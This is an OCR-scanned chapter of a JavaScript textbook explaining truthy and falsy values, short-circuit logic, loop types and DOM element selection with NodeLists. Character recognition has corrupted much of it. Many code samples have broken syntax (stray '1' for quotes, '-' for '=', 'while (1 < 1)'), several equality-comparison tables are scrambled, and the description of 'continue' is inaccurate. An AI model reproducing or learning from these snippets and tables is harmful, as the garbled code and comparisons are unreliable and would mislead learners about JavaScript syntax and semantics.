Because the presence of an object or array can 
be considered truthy, it is often used to check 
for the existence of an element within a page. 


A unary operator returns a 
result with just one operand. 
Here you can see an if 
statement checking for the 
presence of an element. If the 
element is found, the result is 
truthy, so the first set of code is 
run. if it is not found, the second 
set is run instead. 


if (document .get El ementBy Id ( 'header' )) { 

// Found: do something 
} else { 

jj Not found: do something else 

Those new to JavaScript often think the following would do the same: 
if (document, getEl ementById( 1 header 1 ) == true) 
but document .getEl ementBy Id (' header' ) would return an object 
which is a truthy value but it is not equal to a Boolean value of true. 


Because of type coercion, the strict equality operators === and !== result 
in fewer unexpected values than == and ! = do. 


If you use == the following values 
can be considered equal: 
f al se, 0, and 1 1 (empty string). 
However, they are not equivalent 
when using the strict operators. 


EXPRESSION RESULT 


(false 

== 0) 

true 

(false 

™ 0} 

false 

(false 

== "} 

true 

(false 

=== ") 

false 

(0 == 1 

■) 

true 

(0 === 

•') 

false 


Although null and undefined are 
both falsy, they are not equal to 
anything other than themselves. 
Again, they are not equivalent 
when using strict operators. 


EXPRESSION RESULT 


(undefined == 

nul 1 ) 

true 

(null false) 

f al se 

(undefined == 

false) 

false 

(null as o) 


false 

(undefined =- 

0) 

false 

(undefined == : 

= null ) 

false 


Although NaN is considered falsy, 
it is not equivalent to anything; 
it is not even equivalent to itself 
(since NaN is an undefinabSe 
number, two cannot be equal). 

EXPRESSION RESULT 

(Nan null ) false 

(NaN == NaN) false 



DECISIONS & LOOPS 


SHORT CIRCUIT VALUES 


Logical operators are processed left to right. 
They short-circuit (stop) as soon as they have a 
result - but they return the value that stopped 
the processing (not necessarily true or fal se). 


On line 1, the variable arti st is given a value of Rembrandt. 

On line 2, if the variable artist has a vaiue, then artistA will be 
given the same value as arti st (because a non-empty string is truthy). 
var artist - 'Rembrandt 1 ; 
var artistA = (artist || 'Unknown 1 ); 

If the string is empty (see below), arti stA becomes a string 1 Unknown ' . 
var artist = 1 1 ; 

var artistA - (artist j| "Unknown 1 ); 

You could even create an empty object if artist does not have a value: 

var artist = ■ ' ; 

var artistA = (artist || {}}; 


Logical operators will not always 
return true or false, because: 

• They return the value that 
stopped processing. 

* That value might have been 
treated as truthy or falsy 
although it was not a Boolean. 

Programmers use this creatively 
(for example, to set values for 
variables or even create objects). 


Here are three values. If any one of them is considered truthy, the code 
inside the i f statement will execute. When the script encounters val ueB 
in the logical operator, it will short circuit because the number 1 is 
considered truthy and the subsequent code block Is executed. 


As soon as a truthy value is 
found, the remaining options 
are not checked. Therefore, 
experienced programmers often: 


valueA - 0; 
valueB = 1; 
valueC = 2; 

if (valueA || valueB || valueC) [ 

// Do something here 

} 

This technique could also be used to check for the existence of elements 
within a page, as shown on p!68. 


* Put the code most likely 
to return true first in OR 
operations, and false answers 
first in AND operations, 

• Place the options requiring 
the most processing power 
last, just in case another 
value returns true and they 
do not need to be run. 
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LOOPS 


Loops check a condition. If it returns true, a code block will run. 

Then the condition will be checked again and if it still returns true, 
the code block will run again. It repeats until the condition returns fal se. 
There are three common types of loops: 


FOR 

If you need to run code a specific 
number of times, use a for loop. 
(It is the most common loop.) 

In a for loop, the condition is 
usually a counter which is used 
to tell how many times the loop 
should run. 


WHILE 

If you do not know how many 
times the code should run, you 
can use a while loop. Here the 
condition can be something 
other than a counter, and the 
code will continue to loop for as 
long as the condition is true. 


DO WHILE 

The do, . .while loop is very 
similar to the while loop, but 
has one key difference: it will 
always run the statements 
inside the curly braces at least 
once, even if the condition 
evaluates to false. 


opening 

KEYWORD CONDITION (COUNTER) CURLY BRACE 

i — 1 — i i 1 1 I 

for (var i = 0; i < 10; i++) { 
document .wri t e ( i ) ; 

} 1L - ' ' 

J CODE TO EXECUTE DURING LOOP 

I 

CLOSING 
CURLY BRACE 


This is a for loop. The condition 
is a counter that counts to ten. 
The result would write 
"01 23456789" to the page. 


If the variable i is less than ten, 
the code inside the curly braces 
is executed. Then the counter Is 
incremented. 


The condition is checked again, 
if i is less than ten it runs again. 
The next three pages show how 
this loop works in greater detail. 


170 DECISIONS & LOOPS 


LOOP COUNTERS 


A for loop uses a counter as a condition. 

This instructs the code to run a specified number of times. 

Here you can see the condition is made up of three statements: 


INITIALIZATION 

Create a variable and set it to 0. 
This variable is commonly called 
\ t and it acts as the counter. 

var i = 0; 

The variable is only created the 
first time the loop is run. 

(You may also see the variable 
called i ndex, rather than just 1) 

You will sometimes see this 
variable declared before the 
condition. The following is 
the same and it is mainly a 
preference of the coder, 

var i ; 

for (i = 0; i < 10; i++) { 
// Code goes here 

> 


CONDITION 

The loop should continue to 
run until the counter reaches a 
specified number. 

i < 10; 

The value of i was initially set to 
0, so in this case the loop will run 
10 times before stopping. 

The condition may also use a 
variable that holds a number. 

If a variable called rounds held 
the number of rounds in a test 
and the loop ran once for each 
round, the condition would be: 

var rounds = 3; 
f < (rounds); 


UPDATE 

Every time the loop has run the 
statements in the curly braces, it 
adds one to the counter. 

i++ 


One is added to the counter 
using the increment C++) 
operator. 

Another way of readingthis is 
that it says, "Take the variable 
i, and add one using the++ 
operator/' 

(t is also possible for loops to 
count downwards using the 
decrement operator 
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LOOPING 



START i = 0 i = 1 


The first time the loop is run, 
the variable i (the counter) is 
assigned a value of zero. 


Every time the loop is run, the 
condition is checked. Is the 
variable i less than 10? 


Then the code inside the loop 
(the statements between the 
curly brackets) is run. 
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for (var i = 0; i < 10; i++) { 
document.wri te(i ) ; 

} 



The variable i can be used 
inside the loop. Here it is used to 
write a number to the page. 


When the statements have 
finished, the variable i is 
incremented by I 


When the condition is no longer 
true, the loop ends. The script 
moves to the next line of code. 
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KEY LOOP CONCEPTS 


Here are three points to consider when you 
are working with loops. Each is illustrated in 
examples on the following three pages. 


KEYWORDS 

You will commonly see these 
two keywords used with loops: 

break 

This keyword causes the 
termination of the loop and tells 
the interpreter to go onto the 
next statement of code outside 
of the loop. (You may also see it 
used in functions.) 

continue 

This keyword tells the interpreter 
to continue with the current 
iteration, and then check the 
condition again. (If it is true, the 
code runs again.) 


LOOPS & ARRAYS 

Loops are very helpful when 
dealing with arrays if you want to 
run the same code for each item 
in the array. 

For example, you might want 
to write the value of each item 
stored in an array into the page. 

You may not know how many 
items will be in an array when 
writing a script, but, when the 
code runs, it can check the total 
number of items in a loop. That 
figure can then be used in the 
counter to control how many 
times a set of statements is run. 

Once the loop has run the right 
number of times, the loop stops. 


PERFORMANCE ISSUES 

It is important to remember 
that when a browser comes 
across JavaScript, it will stop 
doing anything else until it has 
processed that script. 

If your loop is dealing with only 
a small number of items, this 
will not be an issue, If, however, 
your loop contains a lot of items, 
it can make the page slower to 
load. 

If the condition never returns 
fal se, you get what is commonly 
referred to as an infinite loop. 
The code will not stop running 
until your browser runs out of 
memory (breaking your script). 

Any variable you can define 
outside of the loop and that 
does not change within the loop 
should be defined outside of it 
If it were declared inside the 
loop, it would be recalculated 
every time the loop ran, 
needlessly using resources. 
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USING FOR LOOPS 


JAVASCRIPT 


C04/js/f0r-loop*js 


A for loop is often used to loop 
through the items in an array. 


var scores = [24, 
var arraylength = 
var roundNumber = 
var msg = 1 1 ; 
var i ; 


32, 17]; // Array of scores 

scores .length;// Items in array 
0; // Current round 

// Message 
// Counter 


// Loop through the items in the array 
for (i = 0; i < arraylength; i++) { 


// Arrays are zero based (so 0 is round 1) 
// Add 1 to the current round 
roundNumber - (i + L); 


// Write the current round to message 
msg += 'Round 1 + roundNumber + 1 ; 


In this example, the scores for 
each round of a test are stored in 
an array called scores. 

The total number of items In 
the array is stored in a variable 
called arraylength. This 
number is obtained using the 
1 ength property of the array. 

There are three more variables: 
roundNumber holds the round of 
the test; msg holds the message 
to display; i is the counter 
(declared outside the loop). 


// Get the score from the scores array 
msg += score$[i] + '<br />*; 

) 

document, get El ementBy Id { 1 answer 1 ) .innerHTML = msg; 


RESULT 




n unto 


Round 1: 24 



Round 2: 32 

i m 'a 


Round 3: 17 









The counter and array both start from 0 (rather than 1). So, within the loop, 
to select the current item from the array, you use the counter variable i to 
specify the Item from the array, e.g„ scores [i ] . But remember that it is a 
number lower then you might expect (eg., first iteration is 0, second is 1). 


The loop starts with the for 
keyword, then contains the 
condition inside the parentheses. 
As long as the counter is less 
than the total number of items 
In the array, the contents of the 
curly braces will continue to 
run. Each time the loop runs, the 
round number is Increased by 1. 

Inside the curly braces are rules 
that write the round number and 
the score to the msg variable. The 
variables declared outside of the 
loop are used within the loop. 

The msg variable is then written 
into the page. It contains HTML 
so the i nnerHTMl property is 
used to do this. Remember, 
p228 will talk about security 
issues relating to this property. 


DECISIONS & LOOPS (175 








USING WHILE LOOPS 


Here is an example of a while 
loop. It writes out the 5 times 
table. Each time the loop is run, 
another calculation is written 
into the variable called msg. 

This loop will continue to run 
for as Song as the condition in 
the parentheses is true. That 
condition is a counter indicating 
that as long as the variable 
i remains less than 10, the 
statements in the subsequent 
codeblock should run, 

Inside the code block there are 
two statements: 

The first statement uses the += 
operator, which is used to add 
new content to the msg variable. 
Each time the loop runs, a new 
calculation and line break is 
added to the end of the message 
being stored in it So +- works as 
a shorthand for writing: 
msg = msg + 'new msg' 

(See bottom of the next page for 
a breakdown of this statement.) 

The second statement 
increments the counter variable 
by one. (This is done inside 
the loop rather than with the 
condition.) 

When the loop has finished, the 
interpreter goes to the next line 
of code, which writes the msg 
variable to the page. 


cO A / j s/wh i 1 e- 1 oop . j s 


JAVASCRIPT 


var 1 ■ 1; 



var msg = 1 

1 1 « 

J 


// Store 5 

times 

while (i < 

10) 

{ 

msg += i 

+ 1 

X 


f++; 

} 


// Set counter to 1 
// Message 

table in a variable 

5 = ' + (i * 5) + '<br />' ; 


document. getElementByld( ‘answer '). innerHTML = msg; 


RESULT 



In this example, the condition specifies that the code should run nine 
times. A more typical use of a whi 1 e loop would be when you do not 
know how many times you want the code to run. It should continue to 
run as Eong as a condition is met. 



DECISIONS & LOOPS 






USING DO WHILE LOOPS 


JAVASCRIPT 


c04/j s/do-whi \ e- 1 oop * j s 


var ! = 1; // Set counter to 1 

var msg = 1 1 ; // Message 


// Store 5 times table in a variable 
do { 

msg += i + T x 5 = 1 + (i * 5) + ’<br /> 1 ;s 
i++; 

) while (1 < 1); 

// Mote how this is already 1 and it still runs 


document .getEl ementBy Id (‘ answer' ) . innerHTML = msg; 



The key difference between 
a whi 1 e loop and a do while 
loop is that the statements in 
the code block come before the 
condition. This means that those 
statements are run once whether 
or not the condition Is met. 

!f you take a look at the 
condition, it is checking that the 
value of the variable calied i is 
less than 1, but that variable has 
already been set to a value of i 

Therefore, in this example the 
result is that the 5 times table is 
written out once, even though 
the counter is not less than 1. 

Some people like to write while 
on a separate line from the 
closing curly brace before it. 


Breaking down the first statement in these examples: 



+| (i * 5) |+| ‘<br /> 


1* Take variable called msg 
2* Add to the following to its value 
3, The number In the counter 


4. Write out the string x 5 - 

5. The counter multiplied by 5 

6. Add a line break 
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ISULLSIYIEi: 


TARGET PRACTICE TOR YOUR HIND 











EXAMPLE 

DECISIONS & LOOPS 



In this example, the user can either be shown 
addition or multiplication of a given number. 

The script demonstrates the use of both 
conditional logic and loops. 

The example starts with two variables: 

1. number holds the number that the calculations will be performed with 
(in this case it is the number 3) 

2, operator indicates whether it should be addition or multiplication 
(in this case it is performing addition) 

An i f . . .el se statement is used to decide whether to perform addition 
or multiplication with the number. If the variable called operator has the 
value addi ti on, the numbers will be added together; otherwise they will 
be multiplied. 

Inside the conditional statement, a whi le loop is used to calculate the 
results. It will run 10 times because the condition is checking whether 
the value of the counter is less than IT 
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EXAMPLE 

DECISIONS & LOOPS 


c04/example.html 

<!D0CTYPE htm1> 

<htm1> 

<head> 

<t1 t T e>Bu 1 1 seye! Tutoring</title> 

<link rel ="stylesheet" href =,l css/c04.css" /> 

</head> 

<body> 

<section id="page2"> 

<hl>Bu1 1seye</hl> 

<img src a "images/teacher.png" id =,l teacher2" alt="" /> 
<section id="blackboard"x/section> 

</section> 

<script src="js/example.js"></script> 

</body> 

</html> 


HTML 


The HTML for this example is very slightly different 
than the other examples in this chapter because 
there is a blackboard which the table is written onto. 


You can see the script is added to the page just 
before the dosing </body> tag. 
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EXAMPLE 

DECISIONS & LOOPS 


JAVASCRIPT 


c04/j$/example. js 


var table = 3; 
var operator = 'addition 1 ; 
var i=l; 
var msg = 1 1 ; 

if (operator === 'addition') { 

while (i < 11) { 
msg += i + 1 + 1 + table + 
i++; 

} 

1 else { 

while (i < 11) { 
msg += i + 1 x ' + table + 
1 ++; 

} 

} 


// Unit of table 

// Type of calculation {defaults to addition) 
// Set counter to 1 
// Message 

// If the operator variable says addition 
// While counter is less than 11 
- E + (i + table) + '<br />'; // Calculation 
// Add 1 to the counter 

// Otherwise 

// While counter is less than 11 
= 1 + (i * table) + '<br />'; // Calculation 
// Add 1 to the counter 


// Write the message into the page 

var el = document. gelElementBy Id ( 1 bl ackboard ') ; 

el . innerHTML s msg; 


!f you read the comments in the code, you can 
see how this example works. The script starts by 
declaring four variables and setting values for them. 

Then, an 1 f statement checks whether the value of 
the variable called operator is addi ti on. If it is r it 
uses a whi 1 e loop to perform the calculations and 
store the results in a variable called msg. 


If you change the value of the operator variable 
to anything other than addition, the conditional 
statement will select the second set of statements. 
These also contain a while loop, but this time it will 
perform multiplication (rather than addition). 

When one of the loops has finished running, the last 
two lines of the script select the element whose i d 
attribute has a value of bl ackboard, and updates the 
the page with the content of the msg variable. 
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SUMMARY 

DECISIONS & LOOPS 


Conditional statements allow your code to make 
decisions about what to do next. 

Comparison operators (===, !==, ==, !=, < > <=, =>) 
are used to compare two operands. 

.ogical operators allow you to combine more than one 
set of comparison operators. 

i f . . .el se statements allow you to run one set of code 
if a condition is true, and another if it is false. 

switch statements allow you to compare a value 
against possible outcomes (and also provides a default 
option if none match). 

Data types can be coerced from one type to another. 

All values evaluate to either truthy or falsy. 

There are three types of loop: for, whi 1 e, and 
do . . .whi 1 e. Each repeats a set of statements. 


182 DECISIONS & LOOPS 



DOCUMENT 

OBJECT 

MODEL 



The Document Object Mode! (DOM) specifies 
how browsers should create a model of an HTML 
page and how JavaScript can access and update the 
contents of a web page while it is in the browser window. 


The DOM Is neither part of HTML, nor part of JavaScript; it is a separate set of rules. 
It is implemented by all major browser makers, and covers two primary areas; 


MAKING A MODEL OF THE 
HTML PAGE 

When the browser toads a web page, it 
creates a model of the page in memory. 

The DOM specifies the way in which the 
browser should structure this model using 

a DOM tree. 

The DOM is called an object model 
because the model (the DOM tree) is 
made of objects. 

Each object represents a different part of 
the page loaded in the browser window. 


ACCESSING AND CHANGING 
THE HTML PAGE 

The DOM also defines methods and 
properties to access and update each 
object in this model, which in turn updates 
what the user sees in the browser. 

You wifi hear peopfe call the DOM an 
Application Programming Interface (API) 

User interfaces let humans interact with 
programs; APIs let programs (and scripts) 
talk to each other. The DOM states what 
your script can ask the browser about the 
current page, and how to tefl the browser 
to update what is being shown to the user. 



1 
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In each example of this 
chapter, the JavaScript 
will amend the HTML list 
shown here. Colors are used 
to convey the priority and 
status of each list item: 


HOT 





THE DOM TREE IS A 
MODEL OF A WEB PAGE 

As a browser loads a web page, it creates a model of that page. 

The model is called a DOM tree, and it is stored in the browsers' memory. 
It consists of four main types of nodes. 


BODY OF HTML PAGE 


<html> 

<body> 

<div id="page"> 

<hl id= ,, header 1, >List</liI> 

<h2>Buy groceries</h2> 

<ul> 

<11 id^one 11 class= B hot ,t ><em>fresh</em> figs</li> 
<li 1d e "two" class= n hot ,l >pine nuts</li> 

<11 id="three" c'fass= J, hot u >honey</11> 

<11 id =,, four">balsamic vinegar</li> 

</ul> 

<script src-"js/l istjs ,, ></script> „ 

</di v> 

</body> 

</html> 


THE DOCUMENT NODE 

Above, you can see the HTML code for a shopping 
list, and on the right hand page is Its DOM tree. 
Every element, attribute, and piece of text jn the 
HTML is represented by its own DOM node. 

At the top of the tree a document node is added; it 
represents the entire page (and also corresponds to 
the document object, which you first met on p36). 

When you access any element, attribute, or text 
node, you navigate to it via the document node. It is 
the starting point for all visits to the DOM tree. 


ELEMENT NODES 

HTML elements describe the structure of an HTML 
page, (The <h!> - <h6> elements describe what 
parts are headings; the <p> tags indicate where 
paragraphs of text start and finish; and so on.) 

To access the DOM tree, you start by looking for 
elements. Once you find the element you want, then 
you can access its text and attribute nodes if you 
want to. This is why you start by learning methods 
that allow you to access element nodes, before 
learning to access and alter text or attributes. 
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Note: We will continue to use this list example Relationships between the document and all of 

throughout this chapter and the next two chapters the element nodes are described using the same 

so that you can see how different techniques allow terms as a family tree: parents, children, siblings, 

you to access and update the web page (which is ancestors, and descendants, (Every node is a 

represented by this DOM tree), descendant of the document node.) 

Each node is an object with methods and properties. 

Scripts access and update this DOM tree (not the source HTML file). 
Any changes made to the DOM tree are reflected in the browser, 


DOM TREE document 

html 

j 

body 

I 

d i v — attribute 


hi attribute 

h2 

in 

script ■ 

- attribute 

1 

text 

i 

text 





1 __ 

i 


1 7 — attribute 

1 i — attribute 

1 i — attribute 

] i — attribute 


1 

| 

1 


text 

text 

text 


text 


ATTRIBUTE NODES 

The opening tags of HTML elements can carry 
attributes and these are represented by attribute 
nodes in the DOM tree. 

Attribute nodes are not children of the element that 
carries them; they are port of that element. Once 
you access an element, there are specific JavaScript 
methods and properties to read or change that 
element's attributes. For example, it is common to 
change the values of cl ass attributes to trigger new 
CSS rules that affect their presentation. 


TEXT NODES 

Once you have accessed an element node, you 
can then reach the text within that element. This is 
stored in its own text node. 

Text nodes cannot have children. If an element 
contains text and another child element, the child 
element is not a child of the text node but rather 
a child of the containing element (See the <em> 
element on the first <1 i> item.) This illustrates how 
the text node is always a new branch of the DOM 
tree, and no further branches come off of it. 
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WORKING WITH 
THE DOM TREE 


Accessing and updating the DOM tree involves two steps: 

1: Locate the node that represents the element you want to work with. 
2: Use its text content, child elements, and attributes. 

STEP 1: ACCESS THE ELEMENTS 

Here is an overview of the methods and properties that access elements covered on p!92 - p2TL 


The first two columns are k 

SELECT AN INDIVIDUAL 
ELEMENT NODE 



Here are three common ways to 
select an individual element: 

getElementByldO 
Uses the value of an element's 
id attribute (which should be 
unique within the page). 

See p!95 

query Select or (} 

Uses a CSS selector, and returns 
the first matching element. 

See p202 

You can also select individual 
elements by traversing from one 
element to another within the 
DOM tree (see third column). 


as DOM queries. The last column 

SELECT MULTIPLE 
ELEMENTS (NODELISTS) 



There are three common ways to 
select multiple elements. 

getElementsByClassNameQ 
Selects all elements that have 
a specific value for their cl ass 
attribute. 

See p2QG 

get El ement sByTagName ( ) 

Selects all elements that have the 
specified tag name. 

See p201 

querySeleetorAll () 

Uses a CSS selector to select all 
matching elements. 

See p202 


is known as traversing the DOM. 

TRAVERSING BETWEEN 
ELEMENT NODES 



You can move from one element 
node to a related element node. 


parentNode 

Selects the parent of the current 
element node (which will return 
just one element). 

See p208 

previousSibl i ng / nextSibl ing 
Selects the previous or next 
sibling from the DOM tree. 

See p210 

firstChild / lastChild 
Select the first or last child of the 
current element. 

See p211 
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Throughout the chapter you wilt see notes where DOM methods only work in certain browsers or are buggy. 
Inconsistent browser support for the DOM was a key reason why jQuery became so popular. 


The terms elements and element nodes are used interchangeably 
but when people say the DOM is working with an element, 
it is actually working with a node that represents that element. 

STEP 2: WORK WITH THOSE ELEMENTS 

Here is an overview of methods and properties that work with the elements introduced on p186. 


ACCESS /UPDATE 
TEXT NODES 

1 i — attribute 


:ex 


The text inside any element is 
stored inside a text node. To 
access the text node above: 

1. Select the <1 i> element 

2. Use the firstChi Id property 
to get the text node 

3. Use the text node's only 
property (nodeVal ue) to get 
the text from the element 

node Value 

This property lets you access or 
update contents of a text node. 
See p214 

The text node does not include 
text inside any child elements. 


WORK WITH HTML 
CONTENT 



One property allows access to 
child elements and text content: 
innerHTML 

See p220 

Another just the text content: 

textContent 

See p216 

Several methods let you create 
new nodes, add nodes to a tree, 
and remove nodes from a tree: 
createElement () 
createTextMode() 
appendChild() / removeChildO 
This is called DOM manipulation. 
See p222 


ACCESS OR UPDATE 
ATTRIBUTE VALUES 


attribute 


text 

Here are some of the properties 
and methods you can use to 
work with attributes: 
className / id 

Lets you get or update the value 
of the cl ass and i d attributes. 
See p232 

hasAttributeO 

getAttribute() 

setAttributeO 

removeAttribute() 

The first checks if an attribute 
exists. The second gets its value. 
The third updates the value. 

The fourth removes an attribute. 
See p232 
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CACHING DOM QUERIES 


Methods that find elements in the DOM tree are called DOM queries. 
When you need to work with an element more than once, you should 
use a variable to store the result of this query. 


When a script selects an 
element to access or update, 
the interpreter must find the 
element(s) in the DOM tree. 


Below, the interpreter is told to 
look through the DOM tree for 
an element whose id attribute 
has a value of one. 


Once it has found the node that 
represents the element(s), you 
can work with that node, its 
parent, or any children, 


getElementById( ' one 1 ) ; 
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When people talk about storing elements in variables, they are really 
storing the location of the element(s) within the DOM tree in a variable. 
The properties and methods of that element node work on the variable. 


If your script needs to use the 
the same element(s) more than 
once, you can store the location 
of the element(s) in a variable. 


This saves the browser looking 
through the DOM tree to find 
the same e]emenf(s) again. It is 
known as caching the selection. 


Programmers would say that the 
variable stores a reference to 
the object in the DOM tree, (It is 
storing the location of the node.) 


var itemOne = get El ementById( ' one 1 ) ; 



script 



itemOne does not store the <1 i> element, it stores a reference to where that node is in the DOM tree. 
To access the text content of this element, you might use the variable name: i temOne . textContent 
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ACCESSING ELEMENTS 


DOM queries may return one element, or they may return a NodeList, 
which is a collection of nodes. 


Sometimes you will just want to access one 
individual element (or a fragment of the page that 
is stored within that one element). Other times you 
may want to select a group of elements, for example, 
every <hl> element in the page or every <1 i> 
element within a particular list. 


Here, the DOM tree shows the body of the page of 
the list example. We focus on accessing elements 
first so It only shows element nodes. The diagrams 
in the coming pages highlight which elements a 
DOM query would return, (Remember, element 
nodes are the DOM representation of an element.) 


body 

i 

div 


hi h2 ul script 

i 1 1 ""' - i 1 i 

li 1 i I i 11 


GROUPS OF ELEMENT NODES 

If a method con return more than one node, it will 
always return a NodeList, which is a collection of 
nodes (even if it only finds one matching element). 
You then need to select the element you want from 
this list using an index number (which means the 
numbering starts at 0 like the items in an array). 

For example, several elements can have the same 
tag name, so getElementsByTagName{) will always 
return a NodeList, 


FASTEST ROUTE 

Finding the quickest way to access an element 
within your web page will make the page seem 
faster and/or more responsive. This usually means 
evaluating the minimum number of nodes on the 
way to the element you want to work with. For 
example, getElementById{) will quickly return one 
element (because no two elements on the same 
page should have the same value for an id attribute), 
but it can only be used when the element you want 
to access has an id attribute. 
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METHODS THAT RETURN A SINGLE ELEMENT NODE: 


get El ementByldf 1 id') 

Selects an individual element given the value of its i d attribute. 

The HTML must have an id attribute in order for it to be selectable. 

First supported: IE5.5 H Opera 7, all versions of Chrome, Firefox, Safari. 


i 1 1 1 



getElementById( 'one' ) 


querySelector ( 'css selector') 

Uses CSS selector syntax that would select one or more elements. 
This method returns only the first of the matching elements. 

First supported: IE8, Firefox 3.5, Safari 4 r Chrome 4, Opera 10 



querySeleetor( ‘1 i .hot L ) 


METHODS THAT RETURN ONE OR MORE ELEMENTS (AS A NODELIST): 


getEl ementsByCl assName( 'class ' ) 

Selects one or more elements given the value of their class attribute. 
The HTML must have a cl ass attribute for it to be selectable. 

This method is faster than querySelectorAl 1 () . 

First supported: IE9, Firefox 3 , Safari 4, Chrome 4 r Opera 10 
(Several browsers had partial / buggy support in earlier versions) 

getElementsByTagName( ' tagName ' ) 

Selects all elements on the page with the specified tag name. 

This method is faster than querySel ectorAl 1 () . 

First supported: IE6+, Firefox 3, Safari 4, Chrome, Opera 10 
(Several browsers had partial / buggy support in earlier versions) 



get El ementsByCl assMame{ 1 hot 1 ) 


-i 



get El ements By TagName { 1 1 i ' } 


querySel ectorAl 1 ( 1 css selector' ) 

Uses CSS selector syntax to select one or more elements and returns all 
of those that match. 

First supported: IE8, Firefox3.5 r Safari 4 r Chrome 4 r Opera 10 



querySel ectorAl 1 (Hi .hot 1 ) 
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METHODS THAT SELECT 
INDIVIDUAL ELEMENTS 


getElementById() and query$elector() can 

both search an entire document and return 
individual elements. Both use a similar syntax. 


get£lementById() is the quickest and most efficient querySelector() is a more recent addition to the 
way to access an element because no two elements DOM, so it is not supported in older browsers, 

can share the same value for their id attribute. But it is very flexible because its parameter is a 

The syntax for this method is shown below, and an CSS selector, which means it can be used to 

example of its use is on the page to the right. accurately target many more elements. 


document refers to the document 
object. You always have to 
access individual elements via 
the document object 


The getElementByldO method 
indicates that you want to find 
an element based upon the 
value of its id attribute. 

METHOD 


document .get El ementBy!d( ' one 1 ) 


MEMBER OPERATOR 

The dot notation indicates that 
the method (on the right) is 
being applied to the node on the 
left of the period. 


PARAMETER 

The method needs to know 
the value of the id attribute on 
the element you want. It is the 
parameter of the method. 



This code will return the element node for the 
element whose id attribute has a value of one. 

You often see element nodes stored in a variable for 
use later in the script (as you saw on p190). 
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Here the method is used on the document object so 
it looks for that element anywhere within the page, 
DOM methods can also be used on element nodes 
within the page to find descendants of that node. 


SELECTING ELEMENTS 
USING ID ATTRIBUTES 


HTML 


c 05 /gel>el ement-by-i d , html 


<hl id="header H >List King</hl> 

<h2>Buy groceries </h2> 

<ul> 

<1 i id="one H class = "hot 1, ><em>fresh</em> 
fig$</li> 

<li id= n two' 1 class="hot ll >pine rmts</li> 
<lf id-' 1 three" class = "hot ll >honey</l i> 
<li id=* l four ll >bal sarnie vinegar</li> 
</ul> 


getElementByldf) allows you 
to select a single element node 
by specifying the value of its 
id attribute. 

This method has one parameter: 
the value of the i d attribute on 
the element you want to select. 
This value is placed inside quote 
marks because it is a string. The 
quotes can be single or double 
quotes, but they must match. 


JAVASCRIPT 


cQ5/j s /get-el emni-by - i d * j s 


// Select the element and store it in a variable, 
var el - document. get El ementBy Id {' one 1 ) ; 


// Change the value of the class attribute, 
el ■className = 'cool 1 ; 



This result window shows the example after the script has updated 
the first list item. The original state, before the script ran, is shown on 
p!85. 


In the example on the left , the 
first line of JavaScript code finds 
the element whose i d attribute 
has a value of one, and stores 
a reference to that node in a 
variable called el. 

The code then uses a property 
calied className (which you 
meet on p232) to update the 
value of the cl ass attribute 
of the element stored in this 
variable. Its value is cool, and 
this triggers a new rule in the 
CSS that sets the background 
color of the element to aqua. 

Note how the className 
property is used on the variable 
that stores the reference to the 
element. 

Browser Support: This is one of 
the oldest and best supported 
methods for accessing elements. 
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NODELISTS: DOM QUERIES 
THAT RETURN MORE THAN 
ONE ELEMENT 

When a DOM method can return more than one element, it returns a 
NodeList (even if it only finds one matching element). 


A NodeList is a collection of element nodes. Each 
node is given an index number (a number that starts 
at zero, just like an array). 

The order in which the element nodes are stored in a 
NodeList is the same order that they appeared in the 
HTML page. 

When a DOM query returns a NodeList you may 
want to: 

• Select one element from the NodeList. 

• Loop through each item in the NodeList and 
perform the same statements on each of the 
element nodes. 


LIVE & STATIC NODELISTS 

There are times when you will want to work with 
the same selection of elements several times, so 
the NodeList can be stored in a variable and re-used 
(rather than collecting the same elements again). 

In a live NodeList, when your script updates the 
page, the NodeList is updated at the same time. 

The methods beginning get Elements By return live 
Node lists. They are also typically faster to generate 
than static Nodelists. 


Nodelists look like arrays and are numbered like 
arrays, but they are not actually arrays; they are a 
type of object called a collection. 

Like any other object, a NodeList has properties and 
methods, notably: 

• The length property tells you how many items 
are in the NodeList. 

• The item () method returns a specific node from 
the NodeList when you tell it the index number 
of the item that you want (in the parentheses). 
However, it is more common to use array syntax 
(with square.brackets) to retrieve an item from a 
NodeList (as you will see on p199). 


In a static NodeList when your script updates the 
page, the NodeList is not updated to reflect the 
changes made by the script. 

The new methods that begin querySel ector.^ 
(which use CSS selector syntax) return static 
Nodelists. They reflect the document when the 
query was made. If the script changes the content 
of the page, the NodeList is not updated to reflect 
those changes. 
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Here you can see four different DOM queries that all return a NodeList. 
For each query, you can see the elements and their index numbers in the 
NodeList that is returned. 



getEl ementsByTagName( * 1 2 hi ' ) 

Even though this query only INDEX NUMBER & ELEMENT 

returns one element, the method 0 <hl> 

still returns a NodeList because 

of the potential for returning 

more than one element. 





getEl ementsByTagName( 1 1 i 1 ) 


This method returns four 
elements, one for each of the 
<1 i> elements on the page. 
They appear in the same order 
as they do in the HTML page. 


INDEX NUMBER & ELEMENT 


0 

<11 

id^'one" cla$s="hot"> 

1 

<1 1 

id- 1 ' two" class="hot"> 

2 

<1 1 

id-" three" class="hot"> 

3 

<11 

id=™four"> 



getEl ementsByCl assNamef 1 hot 1 ) 


This NodeList contains only 
three of the <1 i> elements 
because we are searching for 
elements by the value of their 
class attribute, not tag name. 


INDEX NUMBER & ELEMENT 

0 <li id="one M class- w hot"> 

1 <li i d- 11 two" cl ass- "hot "> 

2 <li id=" three" clas$-"hot"> 



querySel ectorAl l('li [id] ') 


This method returns four 
elements, one for each of the 
<1 i > elements on the page that 
have an id attribute (regardless 
of the values of the id attributes), 


INDEX NUMBER & ELEMENT 


0 

<li 

id s "one" 

class= 

"hot"> 

1 

<11 

Id-" two" 

class= 

,c hot"> 


2 <11 1d=" three" cl ass="hot"> 


3 <11 id="four"> 
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SELECTING AN ELEMENT 
FROM A NODELIST 


There are two ways to select an element from a NodeList: 
The item() method and array syntax. 

Both require the index number of the element you want. 


THE item() METHOD 


Node Lists have a method 
called item() which will return 
an individual node from the 
NodeList 

You specify the index number 
of the element you want as a 
parameter of the method (inside 
the parentheses). 


Executing code when there are 
no elements to work with wastes 
resources. So programmers 
often check that there is at least 
one item in the NodeList before 
running any code. To do this, 
use the 1 ength property of the 
NodeList - it tells you how many 
items the NodeList contains. 


Here you can see that an i f 
statement is used. The condition 
for the if statement is whether 
the length property of the 
NodeList is greater than zero, 
if it is, then the statements inside 
the if statement are executed. 

If not r the code continues to run 
after the second curly brace. 


var elements = document .getEl ementsByCl assName( ' hot 1 ) 
if (elements. length >= 1) { 

var firstltem = el ements.i tem(O) ; 

} 


1 2 3 


Select elements that have a 
